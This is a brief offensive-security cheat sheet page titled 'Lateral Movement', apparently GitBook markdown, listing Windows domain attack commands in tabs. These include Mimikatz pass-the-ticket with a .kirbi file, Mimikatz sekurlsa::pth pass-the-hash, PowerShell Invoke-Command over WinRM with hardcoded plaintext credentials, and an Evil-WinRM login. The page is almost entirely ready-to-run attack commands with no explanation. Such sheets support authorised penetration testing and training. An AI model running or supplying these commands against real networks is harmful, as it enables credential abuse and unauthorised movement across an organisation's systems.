# 03 Lateral Movement

{% tabs %}
{% tab title="Mimikatz Ticket PTH" %}

```
# Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP
```

{% endtab %}

{% tab title="WinRM" %}

```
$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('domain.local\user_id', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 10.10.10.14 -u userId -p supersecurepassword -r evil.corp
```

{% endtab %}

{% tab title="PTH with Mimikatz" %}

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
```

{% endtab %}
{% endtabs %}